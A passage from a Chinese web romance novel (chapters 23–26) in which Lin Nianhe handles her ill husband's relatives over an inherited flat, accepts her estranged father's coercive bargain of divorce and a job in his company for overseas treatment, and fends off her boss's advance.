江伯母关心道,“念禾,吃晚饭了吗?” “吃过了。”她坐到江予州的身边,“回去的时候,我顺便送你们。” “哎呀,没多少路,走两步就能到。你上一天班也累得慌,我们不麻烦你。” “伯母你都说了没两步路,我开车就更快了。” 她笑眯眯地说完,转而去打量江予州的脸色。 进门之后,就没听见他说话。 他勾住林念禾的小拇指,轻轻挠了挠她的手心,态度一如既往地平静。 屋内陷入寂静,无人说话。 半晌,坐在对面的江伯父沉声道,“既然念禾也来了,我就把刚刚的话再说一遍。” “江黎明年毕业,她不想回老家,想留在这儿。她一个女孩子,出去租房不安全,我想弟妹的那套老房子能不能过户给她。” 江伯母跟着说,“以后她找对象,总得手里有套房子,才能在男方那里说话更硬气。” 那套老房子,放到现在,小区环境,周边设施都很一般。 江伯父很早就和江伯母商量过这件事,想等江黎毕业后跟江予州商量这件事,没成想,他侄子命不好,患上重病,能不能活下去都说不准。 江予州是他们放在身边养了十几年的孩子,早当自己的儿子了。 心疼归心疼,但他们总得为江黎做点打算。 江黎没她哥有本事,考上的大学没他好,以后找到的工作肯定也没他的收入高。 林念禾看起来是个好说话的,实际上是什么样,他们也不知道。等没了江予州帮衬,江黎和她之间就彻底失去亲戚关系。到时候,是什么样子的情况,谁都无法预料。 “我没听过江黎说她要留在A市。”林念禾假笑,“房子过户,也不是一天两天就能完成的,以后再说吧。” 怪不得,江予州表情不好,合着打的是房子的主意。 那套老房子,她态度无所谓。但那是江予州爸妈留下的,是他们一家三口之前生活的地方。上下嘴皮一碰,就想让他送出一套房子,天底下哪有这么好的事情。 “我们不白要,你和予州商量个数字,然后我们把钱给你。”江伯母解释,“算我们替江黎把这房子买下来。” A市哪怕是老小区的房子,价格也贵得吓人。 他们做小辈的同意了,不可能按照市场交易去报价。 “问问江黎吧,等明天她来了,再一块商量。”江予州平淡地拒绝。 江伯父见他油盐不进的样子,训斥道,“我做伯父的难道想占你便宜,说了是从你手里买,你报个价格就行。当哥哥的,难道就不能为你妹妹考虑考虑?” “等她毕业了去和那些陌生人合租,你能忍心?” 第23章 第23章崩人设 他俩婚后,林念禾只去过一次江家。 印象里,两位长辈把江予州实实在在地当儿子去养。但一遇上江黎的事,难免会下意识偏心。 偏心的借口翻来覆去就两条:她是女孩子,你是男孩儿;她是妹妹,你是哥哥。 能把弟弟的孩子带回家用心带大,这是很多人都做不到的事情。 而且江黎并不是自私的性格,她会在别人面前炫耀自己有个超级厉害的哥哥,会在父母面前替江予州说好话。甚至小时候吃到好吃的饼干,都得掰成两半,给江予州递过去一半。 房子的事情,林念禾没办法去评价对错。 一套老房子,不是几万块钱就能解决的。 “我觉得予州说的对,还是得听江黎的。她一段时间一个想法,去年跟我说想去沿海的一个外企工作。”林念禾反手握紧他的手,四两拨千斤道。 江伯母急了,“什么外企,我没听她说过呢。这死丫头,一会儿一个主意,去外地工作哪有那么轻松。” 按照她心里的规划,江黎最好是回老家考公。但江黎不愿意,她也没办法,只能想主意让孩子在外地有更多的保障。 江伯父脸色有些僵硬,养他十几年,这还是江予州第一次不顺着他。 “江黎她脸皮薄,肯定不能同意我们。所以我才先跟你商量这件事。” 伯母附和,“那套房子里的东西,但凡是你爸妈留给你的,我们不会动一点。” 江予州平静质问,“大伯,你也说了里面有我爸妈留给我的东西。虽然不值钱,也是他们最后留下的。如果我把房子给了江黎,以后我想爸妈了,还能去哪儿?” “难道是去市郊的空墓地吗?” 江父江母因为空难去世,连具尸骨都找不着。墓碑里只埋了两件旧衣服。 “过户之后,我让江黎跟你保证,不会对房子大改动。我们年纪越来越大了,只想为她多做点事。”江伯父浑浊的眼珠里像是有泪花闪烁,“你爸你妈还在的时候,把小黎当亲女儿疼。” "她就那么一丁点大,被你妈抱在怀里,两个黑眼珠直溜溜地望着她笑。每次过年过节,都要问一句小黎最近怎么样……" 江予州打断他的话,神情依旧温柔,说出的话却异常刺耳,"房子的事,等我死了再说。" 病房里霎时间安静如鸡。 林念禾皱眉,不动声色地掐他。 这男人怎么不长记性,上次都跟他反复强调了不能乱说话。 江予州仿佛没有痛觉,由着她掐,无视两个老人难看至极的脸色,继续说道,“江黎的专业很好,找工作不难,我真的不能理解你们为什么非要我让出那套房子。” "你现在说话眼里还有我吗,我养你十多年,就对我这个态度。" 江伯父站起来,指着他,"你结婚之前也不是这个样子,为什么结了婚之后像变了个人一样。过年连家都不回。" "我很早之前就说过,林念禾条件没你好,你能找个更好的。你非不听,现在变成这样,我看责任全在她身上。" 江予州眼眸黑沉沉的,刚要开口。 门哐当被踢开。 四个人齐齐望去,陆建林举着手拐,一脸阴沉。 "你说什么,你再说一遍。" 江伯父愣了一下,"你是谁?" "念禾的爸。 "他特意去掉了那个林字。 林念禾,多难听的名字,哪里比得上陆念禾。 "你说谁配不上他。我女儿高考是状元,毕业是市优秀毕业生,工作后直接免面试进入上市公司,年薪七位数。" 他用一种极其骄傲的语气,恨不得把林念禾小□□动会得的奖状都拉出来炫耀一遍。 "到底谁配不上谁"陆建林嫌弃地瞥了一眼江伯父,轻蔑道,"就你们家这条件,我闺女算是眼睛瞎了,才会看上嫁进来。" 林念禾:…… 她好像顺带也被他骂了一句。 江予州和这位血缘上的亲岳父没见过面,心里犹豫要不要打招呼。 一看林念禾的表情,立马安分地装透明人。 没礼貌就没礼貌吧,反正他也不是什么好东西。只要老婆不承认这个爹,陆建林就不是他的岳父。 有些事,做小辈的和长辈反而没法去撕扯。陆建林的到来,直接解决掉了辈分上的矛盾。 江伯父被他骂得连句话都插不进去,好不容易等他喘气休息的空档,"林念禾结婚的时候也没见你出来,她和我们说的是离婚很多年,亲爸从来管过她。" "这是我们家的家事。你以前没管过,现在也别管了。如果是来探望予州,改天来吧。" 他这会儿连续被两个人怼过,怒气被压在心里得不到发泄,说话也跟吃了炮仗似的。 "我养了江予州十几年,学校的每次家长会都是我去的,成绩单上的家长签名都是我签的,还亲手把他送上去大学的飞机。不像有些人,一天都没养过自己的孩子,还端着长辈架子跑过来吆五喝六。" 陆建林内心突然破大防,但面上不显,摆出一副上流人士瞧不起人的样子,摩挲着手里的拐杖。 那根拐杖用的木头材料是小叶紫檀,手工雕刻上一道道精致花纹。 纹印的质感让他心思稍微平静下来一点。 一得到那个陌生女婿生病的消息,他立马从公司赶到医院。 目的是劝林念禾回陆家。 回了陆家,他能给江予州提供最好的医疗条件。 等江予州病好了,身体虚弱不能工作。林念禾去陆氏上班,他就在家陪他钓鱼,做一个孝顺岳父照顾好妻子的贤内助。 三五年后,孩子生下来跟着念禾姓陆,江予州只管教育孩子就行。 "有些事情,我们做大人的自己商量,就别让小辈掺和进来。" 陆建林转头和蔼地对林念禾说,"你带着小江去楼下散散步,房子的事情我来替你们商量。" 他在门口听了个大概,知道两个年轻人的态度。 不就是面对有恩又胡搅蛮缠不讲道理的长辈,没法儿明说拒绝。 他来,他能做坏人。 虽然一套房子值不了多少钱,但女儿想要,他就得替她保下来。 林念禾头都不抬,自顾自地剥着手里的水果,"您最近挺闲的。" 闲得都来医院看热闹了。 陆建林大概是让秘书调查了她过往二十年的所有经历,并且背了下来。 不知道的还以为他是公司HR 虚伪得恶心。 江予州倒顺着他的话下台阶,掀开被子,"走吧,陪我散散步。" 林念禾一脸冷漠地不动如山。 他顿了顿,凑到她的耳边,"求你了。" 声音很娇气,是他以前从来没有过的撒娇口吻。 林念禾还冷着脸,但明显缓和不少,扶着他离开病房。 她走到楼下的时候,又开始后悔自己听江予州的话出来。 自古男色误人。 江予州牵着她的手,偏头观察林念禾的表情,接着五指挤进她的指缝,和她五指相扣。 "不高兴" "……" "生气了?" 林念禾还是没说话。 看来生的气还不小。 江予州停下来,那双好看的瞳孔里印着她冰冷的脸。 怎么就能这么可爱呢…… 他觉得自从生病后,自己的脑子可能也跟着病了。 看她干什么都有意思,哪怕在他面前不说话发呆,他的那颗心都能颤两下,为之心动。 林念禾扒开他缠上来的手,"为什么要听他的话。你不想给那套房子,万一陆建林脑子不好使,直接让出去,你怎么再跟你伯父去争。" 江予州态度无所谓,"我直接装傻不去办过户手续。" 他厚脸皮地贴上来,"别生气了。" 突然低头亲了她一下,"是我不好,我跟你道歉。" 婚姻没有想象中的美好,一地的鸡毛蒜皮。 他先斩后奏跟她领完证后,江伯父虽然嘴上没说什么,对林念禾的态度却平平淡淡,能看出来不满意。 他只好尽量把小家和长辈分开,林念禾的性格在长辈那儿不够讨喜,江予州就不让长辈和她见面,双方也落得自在。 没成想,导火索埋在了这里。 刚在病房里,江伯父说完那通话,他第一反应是去看林念禾。 怕她尴尬或者难过。 但直到陆建林进来的那刻,林念禾的情绪才陡然变差。 再继续待下去,她会不好受。不如出来,看看夕阳下落。 大片的余晖撒在两个人的身上,长长的影子拖在地上缠绕在一起。 江予州恍然发现,上一次两个人单独散步已经是好久好久之前。 林念禾抿唇,"让他们自己商量,等会儿陆建林把你们家两个老人气出好歹来,我不负责任。" 陆建林早年从商,一张嘴能把神仙都忽悠下来给他投资。 对付两个曾经是人民教师的老人,简直是信手拈来。 "你真的打算一辈子不原谅他了?" "我和他没关系,我姓林,他姓陆,从我妈带着我改姓的那一刻起,我们俩就没关系了。" 林念禾烦躁地把脚边的一颗小石子踢出老远,"你要再说什么血缘关系难分割,我就去学哪吒剔骨还父。" 他捏了捏她的手,"等我走了,他能护着你。" "其实那套房子,我想留给你。"江予州抱着她,下巴轻轻搭在她的肩上。 "你先别急着拒绝我。"他的声音听起来沉稳,像是早就在心里过了千遍,"其实这话说着也不太对,我们婚内的财产都是你的,所以那套房子也是你的。伯父那边我留了一笔钱,算他们的养老费,以后不用你去管。爸妈那套房子也就地段稍微好点,被划进了重点学校的学区房范围。" "到时候你孩子上学什么的,都挺方便的。" 他紧紧抱住她,手背上浮出来青色血管,深吸口气,"当然不生孩子也很好,我舍不得你受那个苦。" 她睁大眼睛,漆黑的眼眸里满是不解,"江予州……你" 他轻轻笑了一声,"我知道你很恨你的父亲。但以后遇到困难,你可以学着去利用他,别一根筋非要斩断关系。" "大不了,利用之后一脚踢开。" 他吻了吻她的耳尖,"说这种话好像有点违背我的人设。" 温柔人设去他二大爷的,他装了那么久,不想装了,崩就崩吧。 "你闭嘴。”林念禾被他宛如遗言般的发言雷到大脑停滞。 还他爹的学区房 他大爷的你孩子上学方便 她是不是应该去给他挂俩横幅在病房门口,夸他懂事宽容。 像个大房似的,包容一切。还细心地为她考虑,和以后的老公生下来的孩子,去哪上学。 第24章 第24章交易 这段时间待在病房里,闲得头上长草,除了偶尔应付那位表弟的挑衅,剩下的时间他就琢磨以后。 怎么才能让林念禾以后好过一点。 和想象中的不太 一样,显然这段话并没有打动林念禾,反而让她更生气了。 “我是不是还得谢谢你为我孩子考虑?” 江予州这会儿还很有闲心地顺着她的话,跟她开玩笑,“谢谢就不用了,你说她以后能不能喊我爸爸?” 他没什么奇怪的绿帽癖好,但林念禾以后真要是牵着一个跟别的男人生下来的小姑娘,来给他上坟,还让孩子管他喊爸爸。 光是脑补这画面,江予州就觉得头皮炸裂。 细细品了两下心底里涌出来的微妙情绪,惊然发现,他还挺高兴。 好像……也不是不行。 他埋进林念禾的发间,放纵自己沾染上她身上香甜的味道。家里的洗护产品,用的都是花果香。甜到发腻的气味,反而在她身上变得恰到好处。 林念禾的两只手自然地垂在两侧,冷笑,“然后管她亲爹喊叔叔是吗?” 好一番伦理大戏。 他这脑子学物理真是可惜了,怎么不去改行学编剧。 林念禾推开他,绝情地大步往前走。 再待下去,她怕自己先忍不住弄死他。 江予州跟在后头,一边哄,一边时不时亲她两口。 黏黏糊糊的样子,让林念禾的怒气变成一团雾气压在胸口,撒不出来。 病房里,他们回来时,三位家长的谈话已经接近尾声。 她推门一进去,就看见江伯父神情重新恢复平静。 江伯母一个劲儿地在陆建林面前夸他生的女儿好,冷不防扫到林念禾,说话的声音顿时更大了,“孩子是我们身上掉下来的一块肉,有天大的误会,坐下来好好聊,都能解开。” “念禾,你爸爸等下要回家,你顺路送他吧。我们两个就不用你管了。” 陆建林没反驳她的话,眼里有着期待。 期待父慈女孝的场面。 顶着四双眼睛的注视,林念禾头一次破天荒地答应了。 江伯母算江予州的半个妈,她的半个婆婆,不看佛面看僧面,总归得给点面子。 两个不知情的老人听见她的回答后,露出笑容,江伯父还特意强调家和万事兴的重要性。 家和万事兴,也没见那群有钱老登在外面少偷吃。 临走前,林念禾去床头柜伸手捞车钥匙,她本人倒没憋着什么气,情绪十分平和。江予州扣住她的手腕,眼神里的担忧都快溢出来。 “到家记得发信息。” 他唇瓣微动,咽下剩余不知道怎么说出的话。 林念禾嗯了一声,带着陆建林离开。 陆家别墅离市医院有四十分钟的车程,期间他数次想跟林念禾搭话,都被她轻飘飘地挡回去。 到了家门口,老头有些生气,“江予州的病,我让人去查了。” 林念禾瞥他一眼,“所以?” “跟我做笔交易。” “你拿他威胁我?”她站在别墅门口,越过他略显佝偻的身躯,望见客厅站着的温诗。 他像是终于撕破和善疼爱的面孔,露出商人的野心算计。 “你回陆家,我送他去国外治病。” 这在别人的眼里是个求之不得的买卖,能得到陆家的家产,同样能让江予州活下来。 顶尖的医疗资源她碰不到,他就抛出橄榄枝,替她去联系。在陆建林的眼里,他觉得自己已经做到父亲应做的任何事了,对孩子好,为孩子考虑,用自己的财权托举孩子的未来。 可林念禾就是不愿意回来。 像她那个妈一样固执。 “如果你不在乎他的命,就跟我继续闹下去。”他口吻随意,“一条人命而已,死了就死了。” 死了也好,他能给她安排家世优秀的同辈。 早年趁着时代政策发家的那批企业家,谁手里不沾点见不得人的灰色交易。陆建林的态度并不让她感到惊讶。 林念禾宛如七寸被人掐住,双腿无法挪动。 他说的对,人命面前她没有资格和他继续闹下去。 温诗不知道什么时候走到他们的旁边,她今天的妆容依旧很漂亮,比起以前在荧幕前,更加温婉。 是陆建林最喜欢的那种毫无威胁的花瓶类型。 “先进来吧。”她说话柔柔地,“厨房做了甜汤,念禾尝尝?” 秘书打印的资料被放在面前,林念禾接过温诗递过来的碗,迟迟没有动,手里一直翻页。 一目十行地快速浏览完,她总算知道为什么陆建林今天格外有自信觉得她会低头。 这上面的癌症中心医院,两个月前刚宣布一项新技术,对江予州的病治疗效果良好。 林念禾合上纸张,抬头注视着他,“你的要求?” “回陆氏上班,一年内我要看到你的本事。”陆建林说,“你在陆氏一天,江予州在国外就能多接受一天治疗。” “可以,我答应你。” 他似乎没想到她答应地那么快,“还有一个条件。他出国之前,你们先去办离婚手续。” “今天江家人的嘴脸你也看见了,侄子躺在医院里面还没死,就上来开口想为女儿要房子。你觉得这种人,要是看见你这块肥肉,难道会轻易撒手吗?” 她松开手里的勺子,勺子和陶瓷碗发出清脆的碰撞声,讽刺,“所以你当年和我妈那么匆忙离婚,也是害怕我妈缠上你吗?” 陆建林和林母离婚离得早,那会儿他在别人眼里顶多算个小老板。竞争最激烈的时候,对家企业因为创始人出轨,被老婆告到法院,离婚官司期间名下财产冻结,股权重新被分配,公司因此上市失败。 陆氏则趁机会一举占领市场。 尝过甜头的他,更加知道婚姻对一家公司的重要性。所以他不能允许江家这样的不可控因素干扰林念禾的前程。 “我给你时间,你自己好好想想。”他起身,温诗连忙上来扶着,“江予州那边我派助理去了。喝完甜汤,就早点睡吧。” 走出陆家,林念禾先是把手里的文件拍照发给秦於。 秦於那边很快给了回复,和文件上的内容说的差不多,在不考虑金钱和时间的情况下,确实去国外比留在国内要好。 到家已经快九点,霍锌今天晚上有晚自习,得九点多才能回来。 屋内漆黑一片,林念禾换了拖鞋,也没开灯,踩着地毯走到客厅的沙发,躺下。 难为陆建林在她面前装这么久的好人。 她不怨谁,可能在别人眼里,反而是她给脸不要脸,放着千金小姐的继承人生活不过,偏要去给资本家打工做牛马。 眼皮渐渐沉重,即使林念禾脑子里被塞满了事,还是没抗住困意。 门口传来电子锁开锁的滴答声,霍锌手拿新发的校服,单肩背着书包进来。 灯被打开的一瞬,屋内布满光明。 沙发上蜷缩着一个瘦弱的身体,林念禾被光刺到眼睛,下意识把头埋进臂弯。 少年放轻动作,把书包随手扔到地上,迈步到她身边。 长发凌乱地铺散在靠垫上,上衣无意中被卷上去,露出一截白盈的细腰,胸口随呼吸平缓地起伏。 像一只小兽,没有安全感地把自己缩到角落。 霍锌拾起脚边掉在地上的毛毯,给她盖好,视线扫到茶几上的纸质文件。 等他看完上面的内容,林念禾还是没有醒来的迹象。 霍锌伸手替她拨开粘在脸上的碎发,思忖片刻。 缓缓直起上身,打量如何下手把她抱回卧室。 他和林念禾就谈了三个月的纯洁恋爱,公主抱这事儿对他来说,实在是陌生。 就在他考虑从哪儿下手抱人的时候,林念禾倏地醒过来。 两个人,你看我我看你,对视半晌。 林念禾睡迷糊的脑子终于开机运转,疑惑,"你干嘛" 霍锌摸摸鼻子,有些尴尬,但又想到她今天特意等他放学,于是假装淡然,"没干什么,你怎么不回房间睡?" 肯定是等他等睡着了。 放学那会儿没见着人的怨气在看见她睡在沙发后,陡然散开。 心里有个小 人转着圈圈撒花。 果然林念禾嘴硬心软,说是不关心他,结果第一天上学,等他等到睡着了。 估计是从天亮等到天黑,所以连灯都忘记打开。 林念禾坐起来,手指触到柔软的毛毯,顿了顿,"躺着躺着就不小心睡着了。" 没得到想要的回答,少年脑子里那个撒花的小人啪叽消散掉。 他安慰自己,林念禾脸皮薄,肯定不会直接说出来。 "你打算送江予州出国" 林念禾抽出那份他手里的文件,"在考虑。" "你要和他一起走吗?" 霍锌目光沉沉盯着她,原本红透发烫的耳垂温度一点点降下去。 什么撒花小人也没有了。 她要是真走,他身为黑户没办法办签证,只能隔着大洋海岸,一边上学一边想念已婚的女朋友。 "不走。" 今天发生的事情太多了,甚至没办法找朋友倾诉。 林念禾难得地对面前的人产生了倾诉欲。 他不属于这个时空,说了也没关系。 霍锌就瞧她一副欲言又止的样子,边抠着沙发垫,边纠结地开口。 "假设,有一个你特别讨厌的人,拿你最重要的东西去威胁你做一件事情,你会怎么样" 他想了想,"多讨厌的人?" "全天下人都死绝了,你也不想多看他一眼的那种。" 霍锌哦了一声,往后仰靠在沙发靠背,一只胳膊懒散地搭在她的膝盖上。 "谁拿江予州威胁你了?" "霍锌吗?"少年视线冷下来,没等开口说些什么危险发言。 林念禾茫然,"你怎么会扯到他身上" 很不想承认江予州是她最重要的人,但能干出这种畜生行为的,他脑子里只有27岁的霍锌。 那天匆匆一面,他就能感觉出未来的那个自己底线很低。 "有人跟我做交易,跳槽到另一家公司,就帮我联系国外的医院。" 她简单改掉一些情节,隐去事情由来。 霍锌手指搭在她的膝盖轻轻点着,"他现在能威胁你,你以后也能踩着他往上爬。" "林念禾,别忘了,你是状元,比很多人都要聪明。上层社会,大多都是踩着彼此往上爬,有利益从而有往来。前脚跟你握着手哭得恨不得掏心掏肺证明忠诚,后脚就能弄死你,吞吃尸骨。" "拿权势压人,他最在意的同样也是权势。报复这种人,最好的方式就是拔掉他的犬牙,磨平他的指甲,锁在牢笼里,像条败家犬一样度过余生。" "做小伏低,和他们称兄道弟不算什么。重要的是,你不能在这个过程里忘掉自己的初衷。" "拿你以前上课喜欢看的霸总小说举例,女主对付渣男的方式要么是伤害自己,要么一走了之。男主不痛不痒地说两句后悔,女主瞬间就得到了报复的快感。这和小学生过家家有什么区别。" 他说完一大段话,低头去看她的表情。 林念禾表情变了又变,"你居然偷看我抽屉里的小说?" 第25章 第25章你不会从那时候就开始暗…… 林晓英女士前脚跟陆建林拿着离婚证从民政局出来,后脚就带着五岁的林念禾进派出所把姓改了。 用她的话说,姓林就是他们林家人,以后跟陆建林一分钱的关系都没有。 其他小孩还在被家长拿着棍子抽,追着让写作业时,小小的林念禾就开始牵着外婆的手,背着很大的书包去上补习班。 逢年过节,亲戚看见她的成绩单和竞赛奖状,不约而同地怜惜般地摸摸小孩脑袋,用一种林念禾不能理解的语气,教育她要好好读书,以后长大了才能有出息。 林晓英到死,都没能咽下那口气。 十几年,她拒绝一切和陆建林的联系,忙着工作,忙着督促林念禾考上最好的大学。好像只有这样才能让当初在病房门口,重男亲女,希望拿林念禾换那个胎死腹中的男孩的陆建林后悔。 结果到头来,她没能看见陆建林懊悔的样子,就早早因病去世。 同样的思想规训下,林念禾很怕和他沾上关系。她应该像母亲设想般地去生活,成为同龄人中最优秀的一个,好让他后悔自己的眼瞎。 仔细想想,其实挺可笑的。 如果不是他命不好,撞上车祸失去生育能力,林念禾好巧不巧地成为他唯一的孩子。身价过亿的富豪,这辈子都不会想起自己还有个改了姓的女儿。 他只会有很多儿子,挑出其中一个最有能力的继承家业,然后过上儿孙绕膝的老年生活,在幸福中死去。 林念禾揉揉发涨的脑袋,觉得霍锌说得挺对的。林晓英女士很善良,一个善良的女人在受到感情的伤害后,选择用精神胜利法去对付渣男。 在跳出固定思维后,她发现自己和林晓英不一样,她一点都不善良,还真切地希望送陆建林下地狱。 埋在心底里的那颗欲望种子倏地破土发芽,有股声音不停地告诉她,为什么不能去试试呢,去把陆建林这辈子最骄傲的公司夺走。你也很想看他失败的样子,不是吗? 童年的伤害不能被人弥补,她就自己亲手了结那个带来伤痛的人。 林念禾心情陡然升浮,像是有只快要冲破蚕茧的蝴蝶从胸腔里飞出。 客厅里安静得落针可闻,少年瞧她面无表情,试探地道歉,“我就看了一点点。” 她撩眼望过去,突然想起一件事,“我抽屉里的小说被老刘收走,是你举报的?” 高中班主任老刘抓他们看课外书抓得紧,尤其是女生看言情小说。 这在老刘看来是坚决不允许的。 一群十六七八的少男少女天天待在同一个屋檐下朝夕相处,难保不会擦出爱情火花。再加上言情小说一刺激,到时候发生早恋的概率蹭地就上去了。 那次她上完体育课,屁股还没挨着板凳,就被老刘喊去办公室。 老刘对自己班里的年级第一看言情小说,感到痛心疾首。让她滚回去写两个礼拜的检讨交过来。 林念禾为了写检讨差点把脑袋都挠秃了,最后霍少爷大发善心帮她分担了好几篇。 怪不得,那么好心。 霍锌瞬间挪到沙发角落,“就是好奇翻了几页,结果被老刘抓住了。” “……” “我去写作业了。” 他起身往房间走,一双长腿忽地顿住,折回来,弯腰同她对视。 “林念禾,你不会那时候就开始暗恋我了吧。” 老刘让她写两个礼拜的检讨,她就老实写,这不对劲呐。 当时,他心虚,怕她知道后生气不理人,所以没细想。 她几门课里面就语文作文最差,只能拿个四十分,老刘每回让她写作文她都推三阻四。写两个礼拜检讨,林念禾居然没利用老师眼里的好学生滤镜讨价还价。 时隔好几个月,少年仿佛突然抓住了一条不停游动的小鱼尾巴,那双好看的眼睛充满了探究,他微微侧头,眼皮下垂,目光在她的脸上来回打量。 仿佛已经准备好,怎么将她拆吃吞腹。 18岁的男高,正是钻石一样的年纪。 一边谈着纯洁的恋爱,一边也不妨碍他夜晚梦里全是各种各样的林念禾。 心理和生理上的双重喜欢,在觉察到可能不是他率先动心设圈套追人,而是林念禾也同时在暗恋自己,他们是真正意义上的双重奔赴后,霍锌的那颗心倏地开始狂跳。 这些天在她面前装乖做小狗,他忍得脑子都快炸了。 面前的男生,身上的侵略意味越来越明显,空气中仿佛有着什么在悄悄发生变化。 林念禾推开他,自顾自地穿上拖鞋,逃避道,“记不清了。” “你别什么好事都想占,先暗恋的人是我,先被你甩掉的也是我。你做梦去吧,梦里什么都有。” 同桌是个绝世好脾气大帅哥,鬼能不动心。 她承认,确实那会儿有点鬼迷心窍,对霍锌有那么丁点的想法,但绝对不 是暗恋。 霍锌瞧她去厨房倒水的背影,喉结滚了滚,轻笑一声,没说什么,回到房间。 翌日, 比陆建林的催促先到的是江予州签过字的离婚协议书,陆建林的女秘书把这份文件摆在林念禾的办公桌上,立在一侧等她签字带走。 林念禾握笔的手悬在纸面上,她说不清楚心里的感受。 眼下的局面对谁都好,江予州能有活下来的机会,她能有亲手报复陆建林的机会。是个人,都会选择离婚。 林念禾想过,去找陆建林再谈判一次,去除掉离婚的条件。大不了,他们签婚内协议,或者她把自己以后从陆建林那儿得到的股份和资产全部转交给家族托信,将共同财产转移出去。 她不希望自己和江予州两年的婚姻最后以一种极其草率的方式结束,婚姻的破裂应该是两个人从相爱到不爱,而不是被利益驱使着两个人走向不同的方向,然后耗光最后的感情。 犹豫两秒,她干脆利落地签完字,递给一旁的秘书。 女生穿着黑色职业装,看上去专业性很高,温和道,“陆总交代我提醒您尽快办理离职,最好在这个礼拜。下个月会安排您进入陆氏。” “我知道,麻烦你过来送东西了。” “小陆总再见。” 办公室里剩下她一个人,女秘书踩着高跟鞋出去,林念禾打开电脑查看工作邮件。 那声小陆总叫得她有点犯恶心,转念想到林晓英女士,林念禾觉得这礼拜得抽个空去上坟烧点纸,交代一下这件事,防止她妈半夜托梦骂死她。 当年陆建林的富贵都没能让林母折腰,结果她去世三年,林念禾转头就为钱权弯腰九十度,就差进陆家族谱了。 林念禾打了个寒颤,莫名觉得办公室温度突然有些低,拉高衣领,开始处理工作。 中午食堂, 姜之暖和她坐在一起吃饭。 她出差半个月,上礼拜才回来。 两个人面对面坐,姜之暖挑着鱼刺,问:“何建最近抽什么疯,我听他助理说他跟徐董事长提交了一份关于你职位调动的申请,写得可正式了。” “不知道,没听过。”林念禾拨弄了两下米饭。 “没事的,你的能力大家都是有目共睹,除非何健能爬上徐董的床,不然怎么可能辞退或者降职。” 五年前进公司那会儿,姜之暖长得漂亮,被一个男同事造谣,说她被潜规则,不然怎么能凭着一个普通二本学历进公司,和他们同岗位一水的名校毕业生在一个办公室。 谣言永远比真相传播的范围要广得多,林念禾建议她去报警,结果姜之暖编了一个更狗血的谣。 说那位男同事其实性取向有问题,在外面做双插头,他的前女友跟姜之暖是好闺蜜,他怕姜之暖在公司乱说,才往姜之暖身上乱造谣。 她性格好,和谁都能聊两句,不到两天,整个公司都知道男同事的狗血故事,上到副总,下到扫地保洁阿姨。 后来,男同事就灰溜溜地辞职回老家了。 这件事给姜之暖也留下了后遗症,喜欢物化男性。 "何健这样的男的,倒贴我都不要。" “他爱怎么折腾就怎么折腾去,我随便。”林念禾说,“我的辞职申请上午已经交上去了。” 姜之暖震惊,放下手里的筷子,“为什么?” 忽然降低声音,“走了也好,这傻逼公司全是傻逼亲戚,改革改得效益一年不如一年。” “放心,我不去其他城市,以后没事还能找我聚餐。” 姜之暖呜呜两声假哭,“禾,我没你我怎么活。” “先替我瞒两天,我没告诉徐寒我要辞职。” “你个太子党派,直接扔下没登基的太子跑路,胆子好大啊。”姜之暖收起脸上的嘻嘻哈哈,“不怕徐寒找你算账?” “别瞎说,我从来不是什么太子党派,我就是一个打工牛马,是徐寒自己天天喜欢把活儿扔我身上。” 她俩吃得差不多,起身端起餐盘。 “放心,我铁定嘴严。” 午休时间还剩一点,林念禾还有工作没做完,这几天得尽快把手里的东西交接掉,她先回了办公室。 推门进去,徐寒面无表情地坐在她的位置上望着她。 “小徐总,有事?” 见她走过来,他收起架起的长腿,起身把椅子让出来。 今天的徐寒穿了一身黑色西装,笔挺的双腿包裹在布料下,若有若无地带着清冽的男士香水气味,鼻梁架着一副金属无边框眼镜。 他是有姿色的,不然也不能有那么多前仆后继的女人想和他谈恋爱。 林念禾缓缓走到桌边,不想坐那个刚刚被他坐过的位置。 徐寒像是知道她的想法,单手抵在她的肩膀上,摁着她被迫坐下。 他的比例很好,穿正装显得更加精英气。听说他妈是中英混血,所以徐寒的瞳孔色比别人要浅得多,肤色也白得像西方的吸血鬼。 林念禾直觉气氛很诡异,徐寒身上笼罩着一层很危险的气息,仿佛下一秒就要扑上来咬她两口。 他居高临下地审视着她,淡淡问道,“要辞职?” 林念禾愣了一下,她的辞职报告是直接交到人事,不需要通过徐寒。 “对,我想辞职。” “理由。” “经过慎重考虑,发现贵公司和我个人未来发展规划有很大的矛盾,所以向公司提出离职申请。”她把上网搜到的标准离职糊弄领导的话术拿出来糊弄徐寒。 徐寒扯了下唇,双手撑在她的两边,盯着她的眼睛,“这种话术,我听了没一千遍,也有八百遍了,你觉得我会相信?” “干得好好的,突然想离职,你是讨厌公司,还是讨厌我?” 那双澄澈的眼睛,让他的心里变得烦躁。 听见她要辞职,他开完会就马不停蹄地过来找她,想问她为什么要离职,为什么突然想走。 “都不是。”林念禾很努力地和他拉开距离,“徐总和公司都很好,是我的问题。” 看这样子,如果她说是公司问题,徐寒立马就能把整个公司整改。 徐寒淡定地单手解开衬衫的第一颗纽扣,紧接着是第二颗。虽然喜欢喝酒泡吧,但他常年健身,不是那种很突出的肌肉,是很漂亮的一块块的鲨鱼肌。 眼看着越来越往下,漏出来的东西越来越多,林念禾猛地拿起桌上的文件盖在他胸前。 不是,他在干什么? A4纸正好挡住那些不能看的,林念禾声音都有一丝颤抖,“徐总,天气热是吗,我去帮您把空调打开。” 他眼神平静,停下动作,“我知道我自己身上没什么优点,脾气不够好,学历不如你,没有什么高深的内涵。你不需要钱,看上去也不太需要我的其他帮助,所以想来想去只有这具身体算得上是个能留下你的优点。” 徐寒把她要说出的话堵回去,“你结婚了,我知道。我不在乎,做小三也可以。” 第26章 第26章不被爱的才是………… 他态度很认真,也很轻飘飘,把出卖色相挽留下属说得像是临时起意送林念禾一份离职礼物一样简单。 “我不会用这种事情去威胁你,毕竟做小三也不是件多光彩的事。都不用你老公上场,我爸就能先把我的腿打断。” 徐董不管儿子的私生活,但绝对不会同意儿子干出被人戳脊梁骨,拉低公司股价的事。 徐寒低头,攥住她的手腕想扯开那份挡在他身体前的文件。 “徐总,你冷静。”林念禾拼命用力,确保纸张和他的身体严丝合缝,“为了公司没必要做到这一步,我是离职,不是跳槽去对家公司。我能理解您对下属的不舍,但是我做人有底线,你愿意,我不愿意。” “不愿意。”他把这三个字重复了一遍,眉眼笼上一层阴影,思忖道,“为什么不愿意?” 难道是 不满意他的身体? 徐寒倏地伸手又往下解开剩余的衬衫扣子,白皙的肌肤冷不丁暴露在空气中。 十月份的天气已经开始转凉,温热的肌肉在接触到冷气后,条件反射似地动了动。 